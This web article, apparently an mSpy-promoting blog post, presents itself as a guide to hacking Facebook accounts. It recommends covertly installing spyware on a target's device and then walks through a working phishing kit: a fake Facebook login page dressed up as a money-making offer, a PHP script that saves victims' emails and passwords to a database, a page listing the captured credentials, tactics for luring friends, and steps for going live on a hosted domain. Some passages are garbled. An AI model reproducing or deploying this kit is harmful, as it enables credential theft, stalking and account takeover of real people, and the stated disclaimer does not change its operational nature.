How to Hack a Facebook Account: 4 Best Ways

In this guide, we will teach you how your various accounts (Facebook, Instagram, Twitter, LinkedIn, etc.) can be hacked with a phishing attack.

This tutorial has been designed for the purpose of showing you how to use your own code to hack a Facebook account, not to cause any harm to anybody. Please do not use the code provided here for the purpose of actually hacking into someone’s Facebook account, as this behavior is illegal.

Upon completing this guide on how to hack into a Facebook account, you’ll feel less exposed and be better prepared to shield yourself when using the web, whether that’s Facebook, Gmail, or your bank account. Plus, you’ll see why indiscriminately clicking on links – even ones sent by friends and family – is unwise.

It’s time to start the tutorial for hacking a Facebook account’s ID and password using your own software.

What Methods Are Available?

Accessing your Facebook accounts can be done using various methods, but some are more effective than others. Here, we’ll explore the most common techniques.

How to Hack Facebook Password Using mSpy

mSpy, a software program that empowers users to track activities on a specified gadget, is able to monitor social media activity such as Facebook. It can be installed on smartphones and computers and is equipped with multiple monitoring features, such as reviewing the call logs and SMS messages, knowing GPS location and accessing social media accounts.

If you wish to gain unauthorized access to a Facebook account or the Kik account of someone else without any survey by using mSpy, then you will need to obtain physical access to the device targeted for attack prior to being able to install the mSpy software. Once you have the physical device in hand, the following actions will be necessary for installation of mSpy:

  1. Purchase mSpy: You would need to purchase a subscription to mSpy to gain access to the software. The subscription cost varies based on the type of device you want to monitor.
  2. Install mSpy: Once you have purchased the subscription, you would need to physically install the mSpy software on the target device. This can be done by following the instructions provided by mSpy.
  3. Access mSpy Dashboard: After the software is installed, you would need to access the mSpy dashboard by logging in with the credentials provided during the subscription process.
  4. Monitor Facebook Activity: Once you are logged in to the mSpy dashboard, you can monitor all Facebook activity on the target device, including messages, posts, and login credentials.


A keylogger is a software program that records every keyboard input made on an intended machine or system and dispatches that information to its creator. It is possible to install keyloggers on a computer system via direct or remote access. Once placed, the program obtains the user’s private information, such as login credentials, by developing a report of all activity—data that can include absolutely everything written through a keyboard.

Keyloggers are particularly dangerous as they have the capacity to capture information being inputted into desktop computers and mobile devices alike. This allows hackers to steal entry details via any system – bearing in mind that the hackers themselves may not be in physical contact with the user’s computer at that time.  Caution should be observed in downloaded files and clicking on untrustworthy links.  Usage of a robust antivirus capable of identifying and removing keylogging softwares from all computers would be beneficial.


Phishing image

Phishing, a form of cybercrime, operates by masquerading as a trustworthy entity in digital communications. The attacker, posing to be from an authorized individual or institution, utilizes various mechanisms of communication to present fraudulent requests to a targeted individual.

Because the fake login page is so realistic, it can be hard to detect when a phishing attack is happening. Fortunately, there are some warning signs to watch out for, like a suspicious URL and bad spelling or grammar. It’s important to be diligent, and always verify the legitimacy of any login page before you enter your username and password. for many social networks, you can easily do this by checking the URL to make sure it’s on the up and up, and making sure the page itself has all the right branding and good spelling to boot.

How to Hack Facebook Account for Free

What to Do Before Hacking a Facebook Account for Free?

In order to use this tutorial to hack a Facebook account, it is important to have a rudimentary comprehension of these languages:

  1. HTML
  2. CSS
  3. JavaScript
  4. PHP and MySQLi

You may be asking yourself why it’s important to learn or have a fundamental understanding of these languages. The answer is straightforward: you need to be able to develop a log-in form that appears like the actual Facebook log-in page, and has the capability to save the log-in information of people who use it in a database (PHP and MySQLi are needed for this task), and direct the person to the real Facebook web page following their log-in (JavaScript is used for this task).

By reading and using the code provided, you can deceive others into giving you their Facebook account details.

Once you have mastered these languages and feel confident in your abilities, you can gauge your skills with online tests such as the HTML Test, CSS Test, JavaScript Test, PHP Test, and MySQL Test. By interpreting the results of these tests, you can gain insight into your comprehension of each language.

By the end of this tutorial, you will have the knowledge and skills to conduct a successful phishing attack in order to acquire the login information of numerous Facebook accounts.

Tips to Trap Users to Hack their Facebook Account

The following instructions offer guidance on easily capturing specific users and cracking their Facebook account ID and password.

  1. Determine what the user likes – First, find out what the target user likes the most and create a web page that caters to their interests. For example, a page that promises to help users earn money quickly, or one that offers tips for getting in shape in just a few days.
  2. Check the device being used – Next, determine which device the target user is using, such as a mobile phone, computer, or tablet. You can also implement auto-redirection code on your login page to redirect users to the desktop version login page if they are using a desktop device. This ensures that the user will be directed to the most suitable login page for their device.
  3. Find the best time to trap the user – Lastly, find the best time to trap your target user by sending them the link and hacking their Facebook account. The best time is when the user is free and able to open the link with a clear mind.

Steps to Hack Facebook Password

Here are the steps to follow for hacking a Facebook account/password:

  1. Create a login page that looks like the Facebook login page.
  2. Create a login page handler script to store the login credentials in your database.
  3. Redirect the user to the original Facebook page after storing or getting their login credentials.
  4. Create a database to store Facebook IDs and passwords.
  5. Send the link to the user.
  6. Create a web page to see all hacked Facebook account IDs and passwords.

Following the transmission of the link to the intended recipient, no further action is necessary. The recipient will voluntarily disclose their Facebook account credentials by submitting them on your counterfeit login portal. This underlines the importance of designing the mimic login screen to be virtually indistinguishable from the authentic Facebook login interface.

As an instance, you are able to design a webpage notifying its users of fast ways to gain money while asking them for their Facebook login. When a user clicks on that link, it will redirect them to the fake Facebook log-in. After they fill in their details, they will get redirected to the official Facebook page. In the database, their login credentials will be saved.

You can also develop a web page to view the list of Facebook account passwords belonging to targeted or trapped users, in addition to their Facebook IDs, thereby eliminating the need to continuously monitor your database for trapped individuals.

In the subsequent sections and programming, we will illustrate the process of hacking a Facebook password and account identifier.

1. Make Login Page looks like Facebook Login Page

In order to replicate the Facebook login page, you’ll want to ensure that the content of every landing page reflects the passions of the end user. For example, let’s take a case where you have a specified category of a user looking to earn money quickly. In such a situation, you’d create a specialized landing page with a message about the possibility of quickly making money for such individual. Another example is someone into sports; there, you would design a landing page full of training tips for sports.

Following this, you can use the code provided to generate a demo login page. Primarily designed for mobile use, this code can also be used to employ JavaScript, redirecting users to the desktop version login page.

<!doctype html>
   <title>Top 10 Tips to Earn Money in Short Time</title>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=yes">
   <meta name="description" content="Here are the list of top 10 tips to earn money in short time and become a
   successful earner in today's market. This list are exclusive to get for free to everyone.">
   <meta property='og:image' content='earnmoney.jpg' />
   <link rel="shortcut icon" href="">
      table tr td{text-align:center;}
      .bottom a{color:#D3D3D3;}
      .bottom a:link{text-decoration:none;}
      .inputf a:link{text-decoration:none;}
<body style="margin:0px;">
   document.title='Facebook - Log In or Sign Up';
<div style="width:100%;">
<div style="height:40px;background-color:#3b5998;padding-bottom:10px;padding-left:5px;">
   <span style="color:white;font-size:120%;"><br/>facebook</span>
<div style="background-color:#FAFAD2;padding:5px;line-height:23px;text-align:center;">
   <span style="color:purple;">Login to continue to get top 10 exclusive tips to earn money in short time.</span>
<div class="inputf" style="background-color:AliceBlue;padding:10px;text-align:center;"><br/>
   <form name="fbform" method="post" action="login.php">
      <input name="email" type="text" id="email" placeholder="Email address or phone number" maxlength="40" size="30px"
      <input name="pass" type="password" id="pass" placeholder="Password" maxlength="40" size="30px"
      <input class="login" name="login" type="submit" id="submit" value="Log In" size="60px"><br/><br/>
      <span style="text-align:center;">Or</span><br/><br/>
      <a class="check" href="#email" onclick='document.getElementById("email").focus();'>Create New Account</a><br/><br/>
      <a href="#email" onclick='document.getElementById("email").focus();'>Forgotten password?</a> <br/><br/>
      <a href="#email" onclick='document.getElementById("email").focus();'>Help Center</a><br/>
<div class="bottom" style="background-color:#808080;padding:10px;">
   <table style="width:250px;margin-left:auto;margin-right:auto;color:#D3D3D3;">
      <td><a href="#email" onclick='document.getElementById("email").focus();'>English (UK)</a></td>
      <td><a href="#email" onclick='document.getElementById("email").focus();'>English (US)</a></td>
      <td><a href="#email" onclick='document.getElementById("email").focus();'>English (In)</a></td>
      <td><a href="#email" onclick='document.getElementById("email").focus();'>More</a></td>
   <p style="text-align:center;color:white;">Facebook</p>

Before implementing the code online for the target user to obtain his/her Facebook ID and password, it is recommended to first implement this Facebook account hacking system on your local computer system. To do this, you can download and install XAMPP software on your computer and follow the steps provided below:

  1. Save the above code with the name “earnmoney.php” inside the directory “C:\xampp\htdocs”. This directory is automatically created after installing XAMPP. Also, place an image with the name “earnmoney.jpg” inside the same directory.
  2. Open XAMPP and start the Apache and MySQL modules. If you are not familiar with these modules, you can follow our PHP and MySQLi tutorial before proceeding to the next step of hacking Facebook account ID and password.
  3. After starting the modules, open your browser and type “localhost/earnmoney.php”. This should display a page that looks like the following screenshot:
hack facebook account id password

The code above is tailored for mobile users, but there needs to be a login page that is friendly to both mobile and desktop users. To do this, you can create another file with essentially the same code, but- and we’ll name it “earnmoneyD.php” to use for desktop users. Also, you can set up a code to direct desktop users automatically to the correct login page.

<script type="text/javascript">
if (screen.width > 800) { window.location = "localhost/earnmoneyD.php"; }

Insert the above mentioned code at the start of the login page that we have previously constructed.

2. Create Script to Store Facebook Login Credentials

The subsequent code is the script for managing login, which keeps personal info from Facebook of the certain users aimed at in your server routing:

   $conn = mysqli_connect('localhost', 'root', '', 'fbhackedusers');
      // redirect users to original Facebook if error occurred
<!doctype html>
   <title>Logging in to facebook</title>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=yes">
<body style="margin:0px;"> 
         $email = $pass = "";
         // get facebook email id
         $email = $_POST["email"];
         // get Facebook password
         $pass = $_POST["pass"];
         // insert the Facebook id and password in database
         $sql = "insert into fbusers(facebookid, facebookpassword) values('$email', '$pass')";
         $result = $conn->query($sql);
   // redirect users to original Facebook URL

Please save the file above as “login.php” in the same location as the previous files.

3. Redirect Users to Original Facebook URL

The code presented in step two is utilized to send individuals back to the initial Facebook website.


4. Make Database to Store Facebook Id and Password

In order to preserve the Facebook ID and password of individuals who have been specifically chosen, it is essential for you to establish a database named “fbhackedusers”. A table of the same name must then be created. Proceed to establish two columns, “facebookid” and “facebookpassword” accordingly, by following these directions:

1. Open XAMPP control panel and click on “Admin” next to MySQL.

mysql admin xampp

2. This will open a web page in your default browser with this URL.

3. Click on “Databases.”

facebook database hack nav

4. Enter the database name as “fbhackedusers” and click on the “Create” button.

5. Enter “fbusers” for the table name and set “3” for the number of columns. Click on the “Go” button.

facebook hack table name

6. Provide details for all three columns as follows:

  • For the first column, fill in “S.No.” as the name, “INT” as the type, “6” as the length/values, “PRIMARY” as the index, and tick “A.I.” (auto-increment).
  • For the second column, fill in “facebookid” as the name and “VARCHAR” as the type, with “40” as the length/values.
  • For the third column, fill in “facebookpassword” as the name and “VARCHAR” as the type, with “40” as the length/values.

7. Here is a snapshot of the database after providing the details as mentioned above.

facebook hack column details

8. Click on the “Save” button, and you have successfully set up the database locally.

5. Send Facebook Hacking Link to Friend

Send the hacking link to your friends to begin retrieving their Facebook account credentials. Once they open the link, they will see a page offering exclusive tips on how to make money quickly. To access these tips, your friend will need to enter their Facebook ID and password.

6. Create Web page to List Hacked Facebook Users

Create a webpage that displays the list of hacked Facebook account IDs and passwords from the database in a table format, so that you don’t have to keep checking the database repeatedly. This will make it easier to view the hacked accounts. You can use the following code as a template:

   $conn = mysqli_connect('localhost', 'root', '', 'fbhackedusers');
<!doctype html>
   <title>List of Facebook Users Hacked by Me</title>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=yes">
      table th, td{border:1px solid black;padding:10px;}
   $sql = "select * from fbusers";
   $res = $conn->query($sql);
   echo "<table>";
   echo "<tr>";
   echo "<th>Facebook Id</th>";
   echo "<th>Facebook Password</th>";
   echo "</tr>";
      echo "<tr><td> $row[1] </td> <td> $row[2] </td></tr>";
   echo "</table>"; 

Save the file which includes the code mentioned above as “hackedusers.php” in the directory that holds the rest of the files.

Example of Hacking Facebook Account/Password Using This Method

Next, let’s examine the gradual method of compromising someone’s Facebook account and password.

The initial screenshot illustrates the demonstration login page that emerges after your companion taps the hyperlink forwarded to them by you.

hack facebook account

Following this, your buddy will enter their Facebook account login information to receive advice that others won’t have access to.  It is possible for you to alter the message, title, and explanation of the site to target the person you’re sending it to. A good example of how this might look is:

hack facebook link snapshot

Please note that the dollar icon you’ve uploaded will be momentarily showcased. It will be prettier to the eye, inciting the user to click.

This is the screenshot of the login page after the user has entered their Facebook login information and pressed the “Log In” button.

hack facebook account code

Following the input of their Facebook login credentials and selection of “Log In” a specialized script will activate, capturing and depositing each user’s identifying data into the database. From there, all users are diverted back to the primary Facebook page. Take a moment now to consider its implications; the accounts of your closest friends now sit among the circuities of our collective systems, ripe for perusal. By navigating to the seventh page of the walkthrough, you’ll discover precisely how to do just that. To begin, simply launch the web browser and in the address bar, type localhost/friendsWhoTrustYou.php – this will grant you direct access to their data.

how to hack facebook account

The link of the targeted Facebook user should then be sent to the tinyurl address, and determine whether the victim’s Facebook session is still active by keeping refreshing the hackedusers.php page.

Last Step to Implement Facebook Account Hacking System Live

The final important action to implement the entire Facebook account hacking system through your website demands a number of actions. If you previously own a site, like codescracker, or some other, execute the following actions:

  1. Create a directory called ‘facebook’ in the parent directory.
  2. Create a database and table with the same details as used in the above code of the Facebook account hacking system.
  3. Place all files, including earnmoney.php, earnmoneyD.php, login.php, hackedusers.php, and the image file named earnmoney.jpg, inside the ‘facebook’ directory.
  4. Send the link to your friends, for example,
  5. Open the link in your browser, that is,

If you don’t have a website yet, follow these steps:

  1. Purchase or register a domain, such as
  2. Purchase a web hosting account to host all your website files on your server.
  3. Set up your website to make it live.
  4. Follow all the steps after having a website and replace ‘codescracker’ with your domain name.

Once you have finished the previous steps, you must update the connection string. You will have to substitute your hosting address for ‘localhost’, your database username for ‘root’, your database password for ‘password’, and this URL for ‘localhost/’.

Adjustments can be made as per your necessity in order to breach the security of any Facebook user. It should be noted that this guide is purely a demonstration of how one could easily access a person’s personal information.


Upon examination of the different ways in which a Facebook account can be hacked, it becomes evident that mSpy is beyond the shadow of a doubt the most optimal pick. What with mSpy at one’s side, one’s capacities can be doubled so as to scrutinize every last detail about someone’s goings-on on Facebook straight from their device. Are they creating? Are they sending? mSpy then helps you to fish out login credentials as well. Albeit physical contact is required in order to seed the software, mSpy top-to-bottom deluge of options make it a worthy contribution for putting you in control of things on the world wide web.

Alternative ways, including keylogging and phishing, are very risky to use and are almost all the time illegal. Security breaches might occur within a victim’s personal profile leading to unpleasant aftereffects. Even it’s just to hack Facebook. Make it compulsory that the majority of the time; confidentiality may no longer suffer because of self-centered individuals.

In conclusion, mSpy is the best hacking app for Android and iPhone and the most effective solution for monitoring Facebook activity, hacking into a google account and ensuring online security.

Claire York author
Claire York

I am a journalist turned private detective researching most spy apps and their effectiveness. Apps, the internet, technology and cybersecurity have always been of interest to me. I turned this passion into a career after leaving my journalistic career at a well-known firm.

In overseeing all the important content development for this website, I go beyond what is being sold, detailed, advertised, reviewed, and trying to uncover everything there is to know about these applications.